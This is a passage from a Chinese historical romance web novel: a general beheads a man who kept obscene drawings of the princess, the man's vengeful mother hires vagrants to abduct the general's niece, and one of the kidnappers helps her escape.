高盛坐到她面前:“他母亲向小桃提亲,我自然要知道他是什么德行,如果他和你眉来眼去,对你有企图,我就算不杀他,也不能?让小桃嫁他。” 司妤抬起头?来,“他母亲向小桃提亲?” 高盛回道:“是啊,我倒想起来,照理?说这事都归女人安排是不是?你说她怎么不找你这个婶婶,非要找我呢?这证明你这个婶婶当得不称职。” 司妤没?留意他的调侃,她只是想起了严崇文那天那句逾越的话。 她不相信严崇文是不懂规矩、是无意,她觉得他就是有意的,甚至在夜里?撞见她都有可能?是有意的,她年龄不小了,见过许多男人,也经历过男人,她能?看出男人眼中的欲望与企图。 至少那一晚严崇文看她不是在看公主、看君主,而是在看一个女人。 他那句话是试探,看她有没?有那种意思,是不是好男色。 “他说他想做城门校尉,我说要看御史?府的意思。”司妤道。 高盛有些意外:“我以?为他更想建功立业呢。” 这和司妤之前的猜测一样,回道:“兴许是严相的意思,也兴许是严夫人的意思,他们就这一个独子,平平安安守在京城比建功立业重要。” “那公主是盼着我平平安安,还是建功立业?”他突然问?。 司妤不知道他怎么说着说着,又?扯到自己身上。 她回答:“若太尉不想征战了,那就留在京城吧,征屈继先之战,由?薛迈去。” 高盛抿抿唇,就算她真要留他,他还不愿意呢。 他看着她道:“我替你拿下屈继先,你给我生个儿子。” 司妤白他一眼:“胎儿在腹中时,男女就已经定了,你不会以?为是生的时候才定吧。” “我知道,是我送进去的时候就定了。”他笑眯眯道。 司妤白他一眼,不理?他了。 但严崇文这事,让她放在了心里?。 与严家结亲对高盛是有利的,他其实可以?不声不响将亲事定下,随后才公布,给她个措手不及。 但他竟没?有,甚至跑来问?她。 这让她也不得不重视,想有个结论。 所?以?第二天,她叫来了绣衣使?者,让绣衣使?者去秘密查探严崇文。 到底要看看他是和他父亲一样的正人君子,还是个外表谦逊、内里?龌龊的斯文败类。 结果就在当天,下面传来急奏:黄承训当日?劫掠宫中财物时,也一并带走了传国玉玺,如今他拿着这传国玉玺在邓州称帝了。 敢如此?不将朝廷放在眼中,朝廷若要建立威信,就必须迅速将其剿灭。 几次朝会之后,朝中一致决定先放过屈继先,待剿灭了黄承训,再?去讨伐屈继先。 朝中一边下令各路诸侯共讨黄承训,一边也改变原定方略,由?高盛出兵征讨,这样一来,便要尽快出发了,以?免此?事继续蔓延。 与此?同时,调查严崇文的绣衣使?者前来回禀,呈上了严崇文之前在湖州的一些秘事。 他的确是可造之才,那些平长生教、剿匪的军功都是真的,在军中威名也是实打实的,但他有个缺陷,好色。 之前的婚事之所?以?没?成,表面是女方重病难治,主动退婚,其实是严崇文与未婚妻寡嫂有染,东窗事发,两家都为了名声隐瞒下来,但婚事作罢。 到了京城,严崇文自然是禀性难改,已悄悄置了个宅院,里?面养了两三个美人,他寻到机会便过去。 因严淮重名声,这些事都瞒着严淮,严崇文在外也维持着不错的风评,没?有多少人知道他这些事。 与这些秘事一同呈上的,还有一幅画。 画里?内容十分不堪,是一个女子不着寸缕跪趴在床上,回头?媚笑的模样,一想便是在严崇文身边找到的,所?以?才会呈上来。她正想说这种东西告诉她有就行了,不用偷过来给她看,但细一看,却觉得有些不对劲。 她将画凑近了仔细看,发现那女子头?上的发簪竟和她某只发簪一模一样,再?一辨认,这女子分明是她自己。 只是她做这种姿态,这画又?极尽夸张地画了女子的胸臀,让她没?往那上面想,直到细看才发现这女子的眉眼是她的眉眼。 她立刻将画拍在桌上,抬起头?来,下面绣衣使?者低着头?,沉声道:“这是其中一张,他房中有一本画册。” 一本画册,全是她? 司妤盛怒,想直接斩了他。 可转瞬又?想到严淮,她的确可以?理?直气壮杀严崇文,因为他亵渎自己,但是不是因此?就得罪了严淮呢?这样高盛再?趁机拉拢,严淮便会倒向高盛,这对自己大为不利。 感情上,她怒不可遏;理?智上,却知道自己应该忍,假装不知道。反正公主府守卫森严,她身边时时有侍卫,严崇文不能?对她怎么样。 她将那不堪的画捏成一团攥在了手里?,深吸气平复自己的心情,朝绣衣使?者道:“知道了,下去吧。” 她忍着不动严崇文,自然也不能?让严崇文娶王小桃。 一是严淮和高盛成为姻亲对她无利,二是……严崇文这样的人,死尚且不足惜,哪能?让他祸害小桃?王小桃虽和她没?什么关系,但她能?看出来,那是个善良纯真的姑娘,理?该有个美满的良缘,若是嫁给严崇文,这辈子就毁了。 所?以?等高盛回来,她便将绣衣使?者查到的结果告诉了他。为了让他彻底断绝和严家做姻亲的想法,她将那幅画也拿了出来。 高盛见她莫名拿出一张纸来,正奇怪,将那团纸打开一看,这才发现竟是画的司妤。 这画再?次被揉成一团。 司妤瞧出了他的怒气,而这正是她想要的。 她知道高盛,容不得别?人觊觎他手中之物,之前她是公主,他便不能?容忍元炳,现在他们是夫妻,他更不能?忍严崇文。 所?以?,她不会再?重用了严崇文了,他应该也不会忍着膈应用严崇文。 她不说话,悄悄观察着高盛,高盛攥着那纸团良久,最后朝外吩咐道:“去将朱勇叫过来。” 丫鬟退下了,过一会儿朱勇被带来,高盛道:“去严府一趟,找严崇文,就说,听?说他刀法不错,明日?城南校场,我想他陪我练练。” “是。”朱勇下去了,司妤奇怪地问?:“你要做什么?” “练刀啊,你没?听?说他武艺不错吗,正好我好久没?练过了,让他陪陪我。”高盛回答。 司妤静静看着他,不知道他打的什么主意。 半晌,她道:“我也去。” 高盛问?:“你这么闲?” “你有时间练刀,我就没?时间看你练刀吗?”她说。 高盛笑了,一副无所?谓的态度:“好啊,那你去看。”说着他一手伸过来,轻轻拈起她下巴:“多看看是对的,你夫君可是马上就要出征了,刀剑无眼,万一运气不好,死在战场上也是有可能?的。” 司妤没?想到他这么口无遮拦,什么话都说,也不怕不吉利。 她当然不会觉得他有事,他十四岁从?军,至今已有十多年,战无不胜,一柄掩月刀无人能?敌,他肯定不会有事。 但是,万一呢? 这么想时,她心里?突然一揪,只觉有些喘不过气来。 大约,她是担心他真有事,薛迈李琚这些将领也起异心…… “别?乱说,你忘了你还有个没?出世的孩子。”她说。 高盛坐到她旁边来,抱住她抚向她肚子:“还有个貌似天仙的老婆呢,我不回来,一准跟别?人跑了。” 司妤:…… 翌日?高盛果真去南郊校场,司妤同他一起,他们到时严崇文已经候在那里?了。 见了两人,他仍是恭敬行礼,竟看不出异样。 倒是司妤自己,此?时看到他便想起那幅画,忍不住恶心想吐。 她还得装作什么事没?有。 高盛先开口道:“原以?为你愿出征,还想让你此?番同我一起出去,没?想到你竟做了城门校尉。” 他这话,似乎还是想努力拉拢。 严崇文道:“多谢太尉抬爱,只因家母不舍,做儿子的想在身旁尽孝,才听?从?了家母的意思留在京城。” “守锋一片孝心,也好,念在严相就你一个独子,你要有事,他要伤心,我便不强求了。”高盛说。 严崇文又?恭敬道:“他日?家母若同意,臣定当追随太尉,平定天下!” 高盛笑了笑,邀他:“来吧,先跑两圈。” 两人便上了马,驰骋于校场。 司妤在一旁看着,同样是骑马,按理?说,严崇文人年轻,身手也不差,但她就是看见他就恶心,看见高盛,却觉得很?有几分英姿。 他们就这么跑了几圈,回到原地,高盛先停了下来。 严崇文随后停下,朝高盛道:“太尉的马,太尉的骑术,果真非同凡响,下官自叹不如。” 高盛随意道:“看得出来,你是让我了。来吧,陪我练一练,你若胜了我,这柄掩月刀赐你。” 他伸手,一旁军士将他长刀呈给他。 严崇文立刻道:“此?刀为太尉手上宝刀,下官如何敢要?” 高盛问?:“这么说,你觉得自己能?胜我?” 严崇文连忙否认:“不敢不敢,下官这是……失言了。” 高盛笑了笑,严崇文也拿了长刀,神色有些谨慎犹豫,似乎怕刀剑无眼,不慎伤到高盛。 但高盛一副很?有兴致的模样,已然策马往校场中间去。 严崇文想着,大不了自己多让让,就算输也不能?真伤了他。 严崇文也策马去了中间,随后两人一起策马冲向对方,一起举刀,轻飘飘就过了两招,两招都是高盛出刀,严崇文躲。 这对阵一看就是比试,都没?有用全力。 随即高盛道:“说了,可别?让我。” 严崇文便出刀,只是刀势并不凌厉,高盛也是轻松躲过,严崇文正准备下一把再?让高盛出手,自己躲,差不多做做样子就好,谁知高盛却突然折返,出手竟比之前快了许多,一刀挥向他脖子。 严崇文愣住,也没?有思考的时间,也没?有回手之力。 于是毫无预料,他的人头?被齐肩削了下来。 见此?情形,司妤陡然一惊,捂住唇,心几乎跳到了嗓子眼。 高盛他竟真的…… 真的杀了严崇文。 其实她今日?说过来,就是心里?隐隐有这猜测,但又?觉得不可能?,所?以?她来了,竟没?想到…… 旁边军士皆是大惊,严崇文所?带随从?更是彻底呆住,过了好久才身体发软头?脑空白地跑向校场,那时严崇文的身子已经从?马背上倒下,而人头?早已滚出好远。 高盛静静坐在马背上,刀口滴着血,神色无比镇静,吩咐道:“将严公子尸身送回严府,就说他与我切磋武艺,不慎亡故,我愿赐千两金银,以?慰严相丧子之痛。” 说完,他从?胸口摸出一团纸,扔向马下军士怀中:“将这个一同带去严府,给严相看看。” 军士连忙去收敛尸身,高盛看向这边的司妤,骑马踱步朝她走来。 司妤看着他越来越近的身影,随后回头?叫来如缨,交给她一只令牌:“去找绣衣使?者,让他们派人去严府,将严崇文手上那些东西搜出来交给严淮。” 回程路上,司妤一边轻抚着肚子,一边看着高盛。 高盛想起来自己好像听?过,怀孕不能?受打击,不能?受惊吓,便问?:“没?吓到你吧?” 的确有被吓到,但她提前猜到一点,也见过他杀人,倒没?有太严重。 比这更让她心惊的是他的决定。 “为什么?”她问?,“你不怕……严淮对你记恨?” “所?以?,你是怕严淮记恨,才决定忍住?”高盛反问?她,“还是说……你无所?谓,等我死了就收了那严崇文?” 若是以?前,司妤定会被他这话气到,不想再?理?他,但此?时她没?去在意,实言相告道:“我想过杀他,但心有顾忌,做不到因自己的私怨就……乱了大局。” 这个大局就是,她不能?让严淮倒向高盛。 可是,高盛应有同样的顾忌,他却能?毫不犹豫杀严崇文,这让她…… 震惊,同时又?对自己怀疑,甚至还有几分触动。 不,不是几分,是很?大触动。 高盛又?想讽刺她几句,随后却想起,如果她不是顾忌这么多,她那时就不会同意郭循的提议,去找他献身。 对,她就是这样啊,司家的江山不是在她手上衰败,但她却觉得自己有责任将它匡扶,要她因自己的憎恶而去做毁坏司家利益的事,她的确做不到。 他不由?叹了一声气,回答:“你就当我行事鲁莽,不顾后果就行了,反正我就是个头?脑简单的粗人。” 随后道:“据说我知,严淮是准备他入军中,此?次与我一同出征的,但他却选择了清闲的城门校尉,还是西门,公主府就在西门旁,你猜他想做什么?” 司妤不敢猜。 “他想趁机行事,将自己脑子里?想的事,在你身上实现。我要走了,我可不想等我回来,老婆被别?人抢了。”高盛说。 听?他如此?说,司妤一阵心惊。 是她大意了,虽说京城也有数万军士听?她号令,但万一呢? 高盛说的对,万一严崇文将心中所?想付诸行动,以?他的身份地位,的确能?造成不小的影响。与其担心,不如杀了,一了百了。 最重要的是,其实他不着急的,他完全可以?交给她自己处置,等她与严淮关系恶化,他再?来坐收渔翁之利就好,但他却偏偏亲手斩杀严崇文,如此?……严淮就算知道真相,也是与高盛有杀子之仇,谁知他会怎么想呢? “我让人去找严淮了,等他知道他儿子做的事,也没?理?由?对我们怀恨在心。”司妤说。 杀严崇文的是高盛,交罪证的是绣衣使?者,严淮知道那是她的人,这样一来,杀严崇文一事也算是他们两人共同的意思。 高盛拉住她手,“夫人太美,就是易生事非,我要一直强下去,直到夫人年老色衰才行啊。” 司妤被他说笑了,回道:“你可比我大许多。” “很?多吗?也没?有多少吧?”高盛说完,就想起她和小桃差不多大。 倒也……确实大了好几岁。 从?校场回去,天色已晚,用过饭,沐浴完后随手翻了会儿书,就已天黑。 高盛将手放在她肚子上,等着胎动,但偏偏今天胎儿安静,就是不动。 他问?:“他是不是被吓到了,所?以?不动了?这么点胆量,她是女儿吗?” 司妤心思不在此?处,随口应道:“也不是每天晚上都动。” 她仍想着高盛杀严崇文的事,想着想着就觉得……想靠在他怀中。 但这念头?被她忍住了。 可是,忍得有些辛苦。 “我是不是得在出发前给他取个名字?”高盛突然问?。 司妤问?他:“你想取什么名字?” “我没?想好。” 司妤想,没?想好那太好了,她才不信他能?取出什么好名字。 她委婉回答:“待他出生,让太傅给他取名。” “凭什么?”高盛问?。 “凭人家学问?好啊。” “不行,我要自己取,我儿子当然是我取名。”末了,他又?交待道:“从?明天开始我慢慢想,要是后面生了,你就给他取个小名,等我回来再?确定大名。” 司妤无言,她无所?谓,却见他如此?在意,她也就同意了。 高盛畅想起来:“等他大了,我也教他骑马,还教他使?弓箭。” 司即想象不到那个时候,或者说,她不敢想。 若他赢了,她也许只有自尽殉国了,那这孩子怎么办呢? 如果他输了,她赢了,想必是要杀了他的,那孩子呢? 想到此?处,她突然伸手将他抱住,靠在了他怀中。 高盛有些不明白她的意思,过了一会儿问?:“见我要走,舍不得了?” 司妤不回话。 他将她抱了一会儿,低头?吻向她。 第54章 第 54 章 两人都知道这会儿做不了什么, 却没料到一个?吻也能缠绵至此,难舍难分。直到后面?,她几乎颤抖地贴在他怀中?, 他紧紧抱着她, 两人许久没有说?话。 高盛早知自己是?慕她,爱她, 怜她,舍不得她的,而此刻,他觉得自己在她心中?也不是?毫无分量。 或许从多年前在苍岩山那一眼, 她的身影就烙刻在他心中?,如天上的明月一样?让他仰慕……可?因为?亲人的战亡, 对?朝廷的不忿, 他痛恨自己这份仰慕, 让它变成?了仇恨。 他误把她当成?了朝廷,当成?了她那昏庸的父皇, 当成?了食民?脂民?膏又高高在上、视贱民?为?蝼蚁的贵人,当拨开这一切, 他看见真正的她,才知她在自己心中?早已无法割舍。 他很?确定,自己其实无法看得上天下任何?一个?女人了, 她就是?那个?唯一他想娶的人。 “会想我吗?”他问。 司妤没回,只是?紧紧靠住他。 他低低叹息一声, 轻抚她的头发。 几日后, 高盛率军出?征, 司妤亲自送大军出?城。 天渐渐转暖,司妤任命了新的西城门校尉, 又定下了皇上与李琚之女的婚事,加封李琚为?前将军,高盛不在,朝会上高盛一党的声音都小了一些,架也吵得少了些。 但她却觉得心中?有点空,到了晚上,腹中?胎儿闹得频繁了,她会忍不住想让高盛来?摸一摸,但要开口,才想起他不在身旁。 原来?是?她想他了,越到晚上越想。 半个?月后,又有军报呈上,与军报一同?送来?京城的,还有一封秘信。 军报直接送到了太尉府,再?由太尉府官员送到司妤手中?,秘信由竹筒封存,是?直接给司妤的,她拿到手中?时封泥印戳完好无损,拆掉封泥,打开竹筒,里面?有一只干了的花。 是?一只紫色的花,有些像莲花,比莲花小,但她叫不出?名,这干花就像垂暮的美人,哪怕干了也能看到曾经的娇艳,也不知他在哪里摘的。 她看着那花,看着看着就笑了起来?,心像春雪般渐渐融化,融到最后成?了水,又泛起阵阵酸涩。 军报她要回信,而这朵花呢? 她不知道回什么,也不知道是?不是?该回,最后她只回了军报,关于干花只字未提。 但她从梳妆台前寻了只小木匣,将里面?的簪子拿了出?来?,将那朵干花放了进去,悉心收好,放在自己每日坐着批阅奏疏或看书的书桌抽屉内。 直到大半月后,新的军报送来?,另有一封交由她的秘信。 这次将竹筒打开,里面?没有干花,是?真的有信,信上写了几个?字:花收到了吗?怎么不给我回信? 全是?大白话,字倒是?比以前好了一些,也没有错别字,大概因为?字太简单。 她又将这信看了半天,拿出?纸笔来?写了许多,问他花是?在哪里摘的,怎么会想起送回京城,又问路上冷不冷,脚会不会冻,随后告诉他现在孩子动?得频繁了,特别是?晚上,似乎练功一样?蹬来?踢去…… 写到后面?,看着大页的字,她犹豫一会儿,将那纸捏成?了一团。 她不敢,她要记住自己的誓言,要和他保持距离的。 于是?她重新写一遍,回他,花已收到,让他路上保重。 似乎有些关心,又似乎没有,只是?客套。 后来?的军报就没有秘信了,因为?大军已抵达邓州,与黄承训对?峙。 而她的肚子也显怀了,大了许多,天气一暖,脱了棉衣,换上薄裙,真的藏不住了。 众人一算,发现她早就怀孕了,甚至比和太尉订下婚事还早。 一时间有许多议论与流言,竟还有人猜测这孩子是?不是?太尉的,但显然太尉也不是?什么好惹的主,孩子一定是?他的,这证明两人朝堂上吵归吵,但其实一直暗通款曲,私下竟是?情人关系。 好,现在成?了亲,又有了孩子,这关系就很?难说?了。 司妤听闻这些议论,自己也要叹息一声。 她也不知道他们是?什么关系,是?夫妻,还是?逢场作戏、虚以委蛇。 春光明媚,最热闹的上巳节至,家家户户外出?游玩,严家却没有这份兴致。 独子死了,严夫人张氏两三个?月都不曾笑过。 她知道原委,知道经过,丈夫的意思竟然是?算了,儿子咎由自取,甚至怪她没有好好管教儿子,竟让儿子长成?这样?大逆不道之人,但她却不甘心,儿子的确亵渎公主,但他高盛呢? 不也强占了公主?她儿子若带兵,不会比他差,他算个?什么东西,一介屠夫贱民?,竟让她儿子身首异处! 后来张氏又见到王小桃一次,再?见此女,心中?便只有讽刺和愤恨,她曾经竟还想让儿子娶她,成为自己的儿媳! 高盛呢,一边还在与他家议亲,一边就一声不吭杀了她的孩儿。 何其狠毒,何?其阴险! 警告一声不成?吗?小惩一下不行吗?他们家可是为朝廷立下汗马功劳! 那时她想,真希望这所谓县君去死啊,最好死得其惨无比,尸骨不全,也让那高盛尝尝至亲离去的滋味,让他得些报应! 想着想着,她突然意识到这个?目的其实没那么难达到。 那一日她是在洛水河畔见到王小桃的,她只乘了一辆马车,身边就几个?丫鬟而已,实在太好下手了。 那天晚上她回去,在脑子里策划了无数遍如何?杀王小桃,后来?一想,不解恨,不如让许多男人先奸后杀,脱光了抛尸荒野,这样?才能让高盛痛不欲生。 当今世道处处战乱,很?容易就在郊外破庙里找到几个?流民?,这些流民?也就是?没机会去做土匪,只要给口饭,给点钱,什么都愿意做。 一切安排好,就等王小桃出?门。 王小桃对?此一无所知,逢到四月初八,天气大好,她决定去寺里上香。 自从表叔离京,她日夜担心,只盼表叔能早日得胜归来?,听闻四月初八为?浴佛节,是?佛祖显世的降生之日,普渡寺会举行大法事,备香汤为?佛祖洗浴金身,各位高僧都会齐聚,实在是?个?好日子,王小桃就决定去普渡寺里拜一拜。 她是?贫苦出?生,封了个?县君也知道这就是?表叔给自己抬身份,反正直到现在也没习惯几十上百人侍候她一个?,所以出?去都随意坐个?马车,带两个?丫鬟就够了。 长公主虽是?大肚子,但整日都不得闲,同?在公主府,她偶尔会去请安问候,却又怕反而打扰长公主,所以见面?也不多。 今日出?门,却意外在在门口见到了从行宫回来?的长公主。 长公主坐在肩舆上,见了她,问:“县君去哪里?” 王小桃回她:“公主,我去普渡寺,想替表叔求求平安。” 司妤心中?一动?,看着她轻笑,点点头,随口问:“怎么不多带些人?”说?着看向自己身后侍卫,准备派几人跟着她,王小桃却立刻道:“不必不必,我只是?去寺里一趟,很?快就回来?。” 司妤想着城中?十分太平,应该不会有什么,再?说?她心里还记挂着皇上在大婚前从行宫搬往皇宫的事,便也作罢,没多纠结这问题,只交待道:“那你注意着,早些回来?。” 王小桃连连称是?,她也就进府去了。 王小桃便乘了马车去往普渡寺。 寺中?今日热闹,人声鼎沸。 陈六等几个?流民?就扮作乞丐混在人群里,很?早就盯上了王小桃。 因为?今日人多,所以他们能轻易混在人群中?,也因为?人多,让他们无从下手。 他们在那破庙里饿得眼冒绿光,进来?个?老婆子,分了他们一大包馒头,一人竟能分到两三个?,对?他们来?说?如同?过年一样?。 然后她问他们,愿不愿意干活,事成?可?拿十两银子。 他们这辈子都没见过那么多的钱,当即就答应下来?,活再?苦再?累都不怕,哪怕要命的活都行。 具体什么活,是?陈六到外面?单独商量的,回来?后陈六找到几个?靠得住的,将活告诉了他们。 但临行前两天,其中?一人跑去偷鸡,被人捉到官府去了,陈六便又加了一人进来?,这人在他们村,但不是?本家,只是?小姓,叫马毅,平时沉默寡言,虽然看着不聪明,但算得上老实可?靠。 陈六告诉他,帮他一起做一桩活,事成?能分十个?馒头。 马毅想也没想就同?意了,这世道力气太不值钱,十个?馒头别说?是?让他干活,就是?卖命都行。 但今日一早,临出?发前陈六才告诉他是?什么活,他们要在普渡寺劫掳一个?富贵人家的姑娘,找个?僻静地方随便玩,玩死最好,玩不死就直接杀了,最后趁夜将她扔在大街上就行。 马毅一听这话就惊呆了,半晌才道:“京城里有官府。” 陈六说?,官府要管的事多了,哪里管得了这么多,夜深了才去扔,谁能知道是?他们干的? 马毅又说?:“那姑娘做了什么事得罪了东家?有大仇?” 陈六不耐烦了,和他道:“干就干,不干就滚,昨日吃的馒头得还老子。” 马毅便不说?话了。 一行人在人群里,从王小桃的马车过来?,到她进寺里将每尊佛像都跪拜,再?到她求了签出?来?在殿堂外排队等候解签,他们等了足足半个?时辰,却都没等到机会。 王小桃解释等了四五个?人,等到了自己,立刻将签递给大师,又给了两文钱,听大师解签。 大师问:“施主求什么?” “求平安。”王小桃立刻道,随后又问:“这上面?写着‘下下’,是?签不好吗?” 大师看了看,回道:“此签意为?急水登船,须耐心静处,以待时机,虽不是?上上签,但也能逢凶化吉。施主求平安,远方之人当能平安归来?。” 王小桃又问:“但是?……会有些磨难是?不是??” 大师又回了几句,王小桃总觉得听他话里话外,这签不是?很?好。 她拿着签文讪讪走开,丧气道:“早知道不求了。” 身旁丫鬟道:“我听说?这儿也不是?很?准,县君别放在心上。” 远处一个?小沙弥提着桶水往这边走来?。 王小桃专心看着手上那只签,没抬头,陈六见此情形,将后面?的马毅拎出?来?,往前一推,正好撞在王小桃身上。 王小桃被撞出?几步,又撞在小沙弥身上,小沙弥提的竟是?一桶泔水,那散发着酸臭味的泔水顿时溅了她一身。 丫鬟一边去扶王小桃,一边朝马毅道:“你怎么走路的!” 马毅只低着头不说?话,小沙弥也低着头,连声说?“对?不住施主。” 这事不关小沙弥的事,面?前的男人也不过是?个?面?黄肌瘦的乞丐,王小桃摇了摇头,朝丫鬟道:“算了,他也不是?有意的。” “可?现在怎么办?”丫鬟着急。 旁边有人朝这边看过来?,王小桃身上不只湿了,还挂着脏污,几人没办法,只好商议着先去僻静处躲躲,一名丫鬟陪着王小桃,另一名丫鬟去马车上拿水,拿披风来?。 于是?一名丫鬟出?寺院了,另一名丫鬟扶着王小桃往寺院后边走,到了一片幽静的竹林中?。 两人还在等着,陈六等人已经从后面?穿过来?,一人拿一只石块,悄声靠近,随后分别朝王小桃与丫鬟后脑砸去。 丫鬟当即头破血流倒在地上,王小桃伤轻一些,却已被这一下砸懵,还没反应过来?,一只麻袋便从头将她套住,袋口一系,扛了她就往寺院后门跑。 今日寺院人多,但全都聚集在前面?道场和佛堂,没人往后面?来?,几人飞快出?了寺院,挑着荒凉的地,径直往栖身的破庙跑。 马毅跟在最后。 他一直看着陈六肩上的麻袋,里面?人还在挣扎,但困在麻袋里根本挣扎不了。 第55章 第 55 章 他脚步越来越慢, 甚至与前?面几人拉出一大段距离。 陈六在前?面呵斥道:“快点,以前?怎么没看出你这么没用!” 马毅只能加快了脚步,又看向他背后的麻袋。 …… 公主府, 丫鬟上气不接下气径直冲向厅堂。 侍卫正要拦, 丫鬟已经急得在外面喊:“公主,公主, 不好了,县君出事?了!” 司妤正在与临汾王谈话,听见外面的动静,停了下来, 问:“什么事??” 外面侍卫一听事?关王小桃,也不拦了, 带丫鬟进去, 丫鬟急跑进来, 也顾不上行礼,哭道:“公主, 县君不见了,翠儿也倒在地上, 不知是死是活……” 司妤打断她:“慢慢说,县君怎么不见了,在哪里不见的?” 丫鬟才道:“县君去普渡寺拜佛, 拜完,求了签, 我们就?去解签, 还在寺中, 县君却被个小和尚溅了一身泔水,翠儿带县君去僻静地方?避一避, 我去拿水和衣服来,结果等我回来,却找不到她们人,找了好久,最后在一丛竹林里找到翠儿,她昏倒在地上,头上都是血…… “我找不到县君,怎么也找不到,问别人也问不出来,就?只好回来禀报了……” 丫鬟说着又哭了起来,司妤却听明白了,立刻问:“翠儿没醒吗?她头上的血是怎么来的?被人打的?没人看见?” 丫鬟摇头:“没有……问了一圈都说不知道,我走时翠儿是昏迷的……” 司妤又问:“翠儿倒下的旁边还有别的什么吗?寺院今日是否正常,有没有别的人出事??” 丫鬟想了许久,支吾道:“我……我不知道……今日一切都正常,那边很多人……我顾不上翠儿,只能先让红儿在那边守着,我先坐马车回来找人……对了,那竹林里好像有石头,就?在翠儿旁边,有血,翠儿应该是被那石头砸伤的!” 信息只有这么多,司妤先朝侍卫道:“你先快马加鞭去廷尉府找杨权,让他亲自带人去普渡寺查探,尽快查出县君出事?原因?,派人追踪。” 侍卫即刻领命出去了,司妤才又想了想,如果是石头所砸,那证明对方?手?上无兵刃,所以可能是普通的匪徒? 但匪徒为何只劫掳小桃,而将?丫鬟打伤?他们针对的不是年轻女子,而就?是小桃? 不是杀,而是掳,司妤想不出他们的目的,如果是针对高盛的朝中大员,他们理应做得更高级;若是想要赎金的匪徒,必然会知道小桃的身份,但什么样的匪徒敢劫掳公主府的人? 不管怎样,他们没有兵刃,那多半也没有马车,所以短时间?内他们出不了城,带着一个人,也会显露踪迹,一定有人会看见。 她于是再唤来人,继续吩咐道:“派一人去京兆府,命京兆府着人封锁普渡寺,调查县君去向;再传我之令,着禁中飞羽军派一营将?士出去,以普渡寺为中心,在其附近二?百里穿梭巡逻,寻找疑似县君的年轻女子。” “是!”下属离去,司妤心焦地从椅子上起身,在厅中来回踱步。 会是什么人呢?她猜不到。 又想到早上亲眼见到小桃出门,还亲口说派几个人护卫她,当时竟没坚持! 对呀,她与高盛平时都注意着自身防护,却忘了小桃,小桃自己不会得罪什么人,一定是因?为他们! 她既着急又悔恨,不知小桃真有什么事?,她如何同高盛交待。 …… 离开普渡寺好几里,陈六背着麻袋有些累了,将?麻袋交给?了自己族弟陈开。 陈开又背了一段,也嫌累,便提议:“要不然我们就?在这里办了吧,何必再走那么远?” 陈六一听,看看周围,前?后无人,正好是一片树林,觉得此事?可行,便作决定道:“进树林。” 陈开立刻背着人去树林,才走几步,寻到一片空地便将?麻袋放下,解开绳子,一眼见到小桃头上金灿灿的首饰,就?先将?她头上几只首饰摘了个干净,又撸掉她腕上手?镯,随即就?去扒她衣服。 小桃脑后流着血,见此情形立刻就?一边挣扎一边惊呼起来,陈开一把掐住她喉咙道:“闭嘴,闭嘴!” 陈六过来说话:“松手?,别现在就?把人弄死了。” 陈开便一拳打在小桃脸上,随后一手?捂住她嘴,一手?继续去扯她衣服。 马毅此时开口:“我看到……那边有人。” 陈六最警醒,问:“哪里有人?” 马毅指了指后边。 陈六犹豫起来。的确这里并不安全,前?后都是屋舍,只有这里一片小树林,一定常有人经过。 马毅道:“她戴的是金簪,我看她身份肯定不一般,要不然……我们放了她吧。” 小桃此时掰开了陈开的手?,惊慌地哭道:“我是高盛的侄女,你们敢动我,我表叔不会放过你们的!” 陈六不过是从潼关来的流民,连本?地县官都不认识,哪里能认识高盛,此时小桃身上腰带已经被陈开解了,他便拿过那腰带,按住她头,将?她嘴塞住。 小桃再也说不出话来,手?也被制住,看着几人,眼中尽是惊恐。 陈六又扯过旁边一段藤蔓将?她手?绑住,之后才看向马毅,恼怒地提起他衣襟:“你要怂,后面的馒头就?没你的份,你要是好好干,待会儿你扛麻袋,事?成?分?你十文钱。” 马毅垂头不说话,陈开道:“还扛?” 陈六迟疑一会儿,问马毅:“你真看到人了?” 马毅道:“真看到了,两个男的,扛着犁。” 他说得这么详细,陈六有些担心,便道:“行了,再扛一段,小心驶得万年船。”说着一边示意旁边人重新系好麻袋,一边朝陈开伸手?。 陈开笑道:“我本?来就?是要给?大哥的。”说着将?刚才摘下的首饰拿出来。 陈六看着手?上那些,仍没收回手?:“还有呢?” 陈开讪讪笑着,连忙道:“对对,还有这个。”又交出了镯子。 小桃被重新绑好了,马毅在一旁不吭声,陈六让马毅扛起麻袋。 马毅听令将?麻袋扛在了肩上,几人出了树林,继续快步往前?走。 走了一段,前?面出现好几条岔路,几人停下来,陈六问:“再往哪里走?” 他们一直以南郊破庙为栖身之所,今天还是第一次到普渡寺这种地方?,早上走的是大道,现在要绕小路,却不知道方?向。 几人讨论着方?向,马毅一直沉默,陈开突然想起来,问他:“马毅,你知道方?向,你说说现在该往哪边走?” 马毅将?身后的麻袋往肩上送了送,看看几人,说道:“走左边那条。” “这边?”陈六疑心地看着他,他道:“我们住在京城的南边,现在走的是西边,所以要往左边绕,能绕到南边去。” 陈六看了看太阳,觉得他说的有道理,便选了左边的道。 经过几亩田地,田里有人干活,却离他们远,又经过几间?屋舍,只听见狗吠,没见到人。 又到岔路口,陈六不知道方?向,问马毅。 马毅选择了一条朝右的路。 陈六又去看太阳,发现天阴了,太阳被云挡住了。 他问:“是往这儿走吗?” 马毅低着头,闷不吭声往前?走,回道:“是的,现在就?已经往南了。” 陈六不疑有他,跟着他走。 后来但凡遇到岔路,都默认了跟着马毅走,马毅力耐力倒也不错,一路背着麻袋没喊累。 又走了好长一段路,陈开去撒尿,几人在一旁等着。马毅这会儿才将?麻袋放下来休息一会儿。 麻袋内的人又开始挣扎起来,“呜呜呜”地叫。 陈六一脚踩上去,一边拿脚碾着下面的身躯,一边笑道:“真他妈软,别叫了,没人听见,待会儿寻个地儿,我他妈就?能开荤了。” 麻袋内的人不再动弹,只剩呜咽,马毅在一旁看着没出声。 这时撒尿的陈开道:“这里,这里好!这里是个废宅!” 说着就?提了裤子过来,一边系裤绳一边道:“你们快去看,里面没人!” 陈开与另一人立刻去墙边,从墙缝里往里看,果然见到里面是个荒宅,可怜他们之前?竟不知道。 陈六大喜,立刻去前?面推门,见门推不开,便提议几人帮忙翻过去。 于是吩咐一人蹲下,让陈开踩着先翻过去,再去开门。 陈开踩着那人肩头,顺利翻进去,陈六便朝后面马毅喊:“快过来!” 一边说着一边回头看,却见马毅竟不知何时背着麻袋跑向前?方?。 陈六立刻拉了一把下面的人:“马毅跑了,快追!” 马毅的确先跑了一段,但他背着个大活人,跑不快。 他一边跑着,一边解麻袋的绳子,绳子才解开,陈六就?将?他追上,一脚将?他踢翻在地上。 他摔了个狗啃泥却闷不作声,立刻就?转身就?去将?麻袋口打开,摘了里面王小桃嘴里的布,和她道:“快跑!左转就?是普渡寺后门!” 